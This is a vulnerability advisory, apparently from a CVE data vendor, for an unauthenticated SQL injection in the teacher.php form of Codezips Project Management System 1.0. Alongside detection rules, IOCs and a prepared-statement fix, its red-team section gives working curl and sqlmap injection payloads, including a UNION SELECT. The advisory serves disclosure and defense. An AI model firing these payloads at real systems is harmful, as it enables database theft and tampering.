CVE-2025-0336
Executive Summary
CVE-2025-0336 is a critical unauthenticated SQL injection vulnerability in Codezips Project Management System 1.0. The flaw resides in the /pages/forms/teacher.php endpoint, where the name parameter is directly concatenated into SQL queries without sanitization or parameterization. An attacker can exploit this remotely to extract, modify, or delete database contents, potentially leading to full system compromise. The exploit has been publicly disclosed, increasing the risk of widespread scanning and attacks. No patch is currently available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application. However, organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No victim action required.
- Scope: Unchanged (U:S) – Vulnerability does not cross trust boundaries.
- Confidentiality Impact: High (C:H) – Full database read access.
- Integrity Impact: High (I:H) – Ability to modify or delete data.
- Availability Impact: High (A:H) – Potential for denial of service via SQL manipulation.
Threat Level: Critical. Public exploit code and low attack complexity make this a prime target for automated scanning and ransomware groups.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the name parameter of /pages/forms/teacher.php. The application likely constructs a SQL query similar to:
SELECT * FROM teachers WHERE name = '$_POST['name']'
Without input validation or prepared statements, an attacker can inject arbitrary SQL commands. For example, submitting ' OR '1'='1 would return all records. More sophisticated payloads can extract data from other tables, execute UNION queries, or leverage INTO OUTFILE for file write operations if database permissions allow.
The application is written in PHP and uses MySQL. The lack of parameterized queries (PDO or MySQLi prepared statements) is the root cause. The teacher.php script likely processes form submissions for adding or editing teacher records.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<?php
$name = $_POST['name'];
$query = "SELECT * FROM teachers WHERE name = '$name'";
$result = mysqli_query($conn, $query);
?>
Patched Code (Conceptual):
<?php
$name = $_POST['name'];
$stmt = $conn->prepare("SELECT * FROM teachers WHERE name = ?");
$stmt->bind_param("s", $name);
$stmt->execute();
$result = $stmt->get_result();
?>
The patched version uses prepared statements with bound parameters, which prevents SQL injection by separating SQL logic from user input. Since no official patch exists, users must implement this fix manually or apply a Web Application Firewall (WAF) rule.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running Codezips Project Management System 1.0
- Network access to the
/pages/forms/teacher.phpendpoint - SQLMap or manual exploitation tools
Manual Exploitation:
- Identify the vulnerable parameter:
curl -X POST "http://target/pages/forms/teacher.php" -d "name=test" - Test for injection:
If an SQL error is returned, the parameter is injectable.curl -X POST "http://target/pages/forms/teacher.php" -d "name=test'" - Extract database version:
curl -X POST "http://target/pages/forms/teacher.php" -d "name=' UNION SELECT @@version,2,3-- -"
Automated Exploitation with SQLMap:
sqlmap -u "http://target/pages/forms/teacher.php" --data="name=test" --batch --dbs
Lab Setup:
- Download Codezips Project Management System 1.0 from the vendor site.
- Set up a LAMP/LEMP stack (Linux, Apache/Nginx, MySQL, PHP).
- Deploy the application and ensure the
teacher.phpendpoint is accessible. - Use a local MySQL database with sample data for testing.
Blue Team (Defensive)
Detection:
- Monitor for SQL error messages in HTTP responses (e.g.,
You have an error in your SQL syntax). - Look for abnormal POST requests to
/pages/forms/teacher.phpcontaining SQL keywords (UNION,SELECT,OR,--). - Use the Sigma and Suricata rules provided in the Detection Engineering section.
Mitigation:
- Immediately apply a WAF rule to block SQL injection patterns in the
nameparameter. - If possible, disable the
teacher.phpendpoint until a patch is applied. - Implement input validation: allow only alphanumeric characters and spaces in the
namefield. - Upgrade to parameterized queries (PDO or MySQLi prepared statements) in the application code.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/pages/forms/teacher.phpwith unusual payloads in thenameparameter. - HTTP responses containing SQL error messages (e.g.,
mysql_fetch_array(),You have an error in your SQL syntax). - Outbound database connections from the web server to unexpected IPs (data exfiltration).
File System IOCs:
- Unexpected files in the web root (e.g.,
shell.php,cmd.php) indicating file upload via SQL injection. - Modified database configuration files (
config.php,db.php).
Log IOCs:
- Web server logs showing repeated
POST /pages/forms/teacher.phprequests with SQL-like strings. - Database logs showing
UNION,SELECT, orINTO OUTFILEqueries from the web application user.
Detection Engineering
YARA Rule
rule CVE_2025_0336_SQLi_Teacher_PHP {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-0336 in Codezips Project Management System"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-0336"
strings:
$sqli1 = "name=" nocase
$sqli2 = "' OR " nocase
$sqli3 = "UNION SELECT" nocase
$sqli4 = "1=1" nocase
$sqli5 = "admin'--" nocase
condition:
all of ($sqli*) and #sqli1 > 0
}
Sigma Rule
title: CVE-2025-0336 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against /pages/forms/teacher.php in Codezips Project Management System
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/pages/forms/teacher.php'
cs-uri-query|contains|all:
- 'name='
- "'"
condition: selection
falsepositives:
- Legitimate use of apostrophes in names (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-0336 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/pages/forms/teacher.php"; http_uri; content:"name="; http_client_body; pcre:"/name=.*['\"]/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the application – If possible, take the system offline or restrict network access to trusted IPs only.
- Apply WAF rules – Block requests containing SQL injection patterns in the
nameparameter. - Disable the vulnerable endpoint – Temporarily remove or rename
/pages/forms/teacher.php.
Long-Term Fixes:
- Rewrite the code – Replace all dynamic SQL queries with prepared statements (PDO or MySQLi).
- Input validation – Implement strict whitelisting for the
nameparameter (e.g., only letters and spaces). - Update dependencies – Ensure PHP and MySQL are up to date.
- Monitor for vendor patches – Check Codezips website for official updates.
Compensating Controls:
- Deploy a Web Application Firewall (e.g., ModSecurity with OWASP CRS).
- Enable database activity monitoring to detect anomalous queries.
- Implement least privilege for the database user used by the application.
Valters IT